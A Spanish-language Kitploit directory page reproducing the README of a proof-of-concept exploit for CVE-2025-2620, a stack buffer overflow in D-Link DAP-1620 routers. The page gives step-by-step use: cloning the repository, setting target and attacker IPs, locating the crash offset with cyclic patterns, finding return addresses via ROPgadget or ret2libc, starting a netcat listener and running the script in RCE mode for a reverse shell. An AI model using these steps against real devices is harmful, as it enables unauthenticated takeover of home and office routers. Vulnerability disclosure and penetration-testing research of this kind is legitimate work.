Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-2620-poc — Exploit de prueba de concepto para CVE-2025-2620, un desbordamiento de búfer crítico basado en pila en routers D-Link DAP-1620 que permite ejecución remota de código no autenticada y acceso a shell inversa. | Kitploit
Herramientas/GitHubGitHub/otsmane-ahmed/cve-2025-2620-poc
Seguridad de Sistemas EmbebidosSeguridad IoTAnálisis de VulnerabilidadesExplotaciónShellcodeExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingHerramienta de Acceso Remoto

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Desarrollo de Payloads
Explotación de Binarios
GitHubotsmane-ahmed/cve-2025-2620-poc

CVE-2025-2620-poc

Exploit de prueba de concepto para CVE-2025-2620, un desbordamiento de búfer crítico basado en pila en routers D-Link DAP-1620 que permite ejecución remota de código no autenticada y acceso a shell inversa.

Ver Repositorio
161hace 1 añoAún no revisado
Compartir

CVE-2025-2620 Exploit de Prueba de Concepto

Resumen

Este repositorio contiene un exploit avanzado de prueba de concepto (PoC) para CVE-2025-2620, una vulnerabilidad crítica de desbordamiento de búfer basado en pila descubierta en el router D-Link DAP-1620 que ejecuta la versión de firmware 1.03. Esta vulnerabilidad permite a atacantes remotos no autenticados bloquear el servidor web del router (Denegación de Servicio, DoS) y potencialmente ejecutar código arbitrario (Ejecución Remota de Código, RCE).

El propósito de este proyecto es demostrar habilidades de desarrollo de exploits.

Detalles de la Vulnerabilidad

Descripción de CVE

CVE-2025-2620 afecta a la función mod_graph_auth_uri_handler del router D-Link DAP-1620, específicamente dentro del endpoint /storage. La vulnerabilidad es causada por una comprobación de límites incorrecta, lo que permite a un atacante enviar una entrada grande que excede el tamaño del búfer asignado, provocando un desbordamiento de búfer basado en pila.

Impacto

  • Denegación de Servicio (DoS): Bloquea el servidor HTTP del router, dejándolo inoperativo hasta que se reinicie.
  • Ejecución Remota de Código (RCE): Los atacantes pueden sobrescribir la dirección de retorno y ejecutar código arbitrario en la arquitectura basada en MIPS del router.
  • No se Requiere Autenticación: La vulnerabilidad puede activarse de forma remota sin credenciales, lo que aumenta su gravedad.

Desglose Técnico

La función vulnerable procesa un parámetro de autenticación (auth) de las solicitudes HTTP:

root@kitploit:~
void mod_graph_auth_uri_handler(char *input) {
    char buffer[512];  // Búfer de pila de tamaño fijo
    strcpy(buffer, input);  // Sin verificación de longitud, causa desbordamiento
    // Procesar autenticación...
}

Un atacante que envíe un payload sobredimensionado (por ejemplo, 1024+ bytes) sobrescribe la memoria adyacente, incluyendo la dirección de retorno de la función, lo que potencialmente lleva a la ejecución de código.

Puntuación CVSS v3.1: 9.8 (Crítica)

Dispositivos Afectados

El D-Link DAP-1620 es un extensor de rango Wi-Fi con las siguientes especificaciones:

  • CPU: Realtek RTL8197F (MIPS 24Kc, ~600 MHz)
  • RAM: 64 MB
  • Flash: 16 MB
  • Wi-Fi: Doble banda 802.11ac
  • Firmware: 1.03 (confirmado vulnerable)

Otros routers/extensores D-Link con firmware similar también podrían verse afectados.

Cronología de Divulgación

  • 22 de marzo de 2025 – CVE-2025-2620 publicado en NVD/MITRE.
  • 22 de marzo de 2025 – Este PoC desarrollado y probado.
  • 22 de marzo de 2025 – Sin parche oficial de D-Link a partir de esta fecha.

Detalles del Exploit PoC

Características

PoC Combinado – Incluye pruebas de desbordamiento de búfer y exploit RCE.
Prueba de desbordamiento de búfer basado en pila – Identifica routers vulnerables.
Exploit completo de ejecución remota de código (RCE) – Genera una shell inversa.
Tamaño de payload y dirección de retorno configurables – Adaptable para diferentes modelos de router.
Depuración Mejorada – Registra desplazamientos de crash para refinar parámetros del exploit.

Instalación y Uso

Paso 1: Clonar el Repositorio

root@kitploit:~
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc

Paso 2: Instalar Dependencias

Asegúrate de tener Python3 y pwntools instalados:

root@kitploit:~
pip install pwntools

Paso 3: Configurar el Exploit

Modifica el script CVE-2025-2620_poc.py:

Establecer la IP del router:

root@kitploit:~
TARGET_IP = "192.168.0.1"  # cambia según tu router

Establecer la IP de tu máquina atacante:

root@kitploit:~
ATTACKER_IP = "192.168.0.100"  # cambia a tu IP local
ATTACKER_PORT = 4444  # cambia si es necesario

Ajustar el tamaño del búfer si es necesario:

root@kitploit:~
BUFFER_SIZE = 8000  # Aumenta si el router no se bloquea

Encontrar el desplazamiento de EIP y establecer la dirección de retorno:

Paso 1: Enviar un Patrón Cíclico

Modifica el PoC para generar un patrón único y enviarlo:

root@kitploit:~
MODE = "overflow"  # Configura a "overflow" para encontrar el desplazamiento

Ejecuta el script:

root@kitploit:~
python3 CVE-2025-2620_poc.py
Paso 2: Verificar la Dirección del Crash

Después de bloquear el router, verifica la dirección de segfault (EIP en x86 o RA en MIPS) desde:

  • Registros del router
  • Depurador (gdb)
  • dmesg | grep 'segfault'

Busca una dirección como 0x61616161 (lo que significa que parte del patrón cíclico sobrescribió el puntero de retorno).

Paso 3: Encontrar el Desplazamiento

Usa cyclic_find para localizar el desplazamiento exacto:

root@kitploit:~
from pwn import cyclic_find
print(cyclic_find(0x61616161))  # Reemplaza con la dirección del crash

Esto da el valor exacto de OFFSET. Actualiza tu PoC:

root@kitploit:~
OFFSET = <DESPLAZAMIENTO ENCONTRADO>  # Reemplaza con el número real
Paso 4: Encontrar una Dirección de Retorno Adecuada (RET_ADDR)
  • Opción 1: Encontrar un Gadget JMP o CALL

    root@kitploit:~
    ROPgadget --binary vulnerable_binary | grep "jmp"
    

    Elige una dirección que salte a un registro (por ejemplo, jmp $sp o jmp $ra).

  • Opción 2: Usar una Dirección ret2libc Encuentra la dirección de system() en libc:

    root@kitploit:~
    objdump -D /lib/libc.so.6 | grep "system"
    

    Luego, úsala como RET_ADDR:

    root@kitploit:~
    RET_ADDR = struct.pack("<I", 0xdeadbeef)  # Reemplaza con la dirección real
    

Paso 4: Iniciar un Oyente

root@kitploit:~
nc -lvnp 4444

Paso 5: Ejecutar el Exploit

root@kitploit:~
python3 CVE-2025-2620_poc.py --mode rce

Desarrollado con ❤️ por Otsmane Ahmed

Descargar herramienta
MétricaValor
Vector de AtaqueRed
Complejidad de AtaqueBaja
Privilegios RequeridosNinguno
Interacción del UsuarioNinguna
Impacto en la ConfidencialidadAlto
Impacto en la IntegridadAlto
Impacto en la DisponibilidadAlto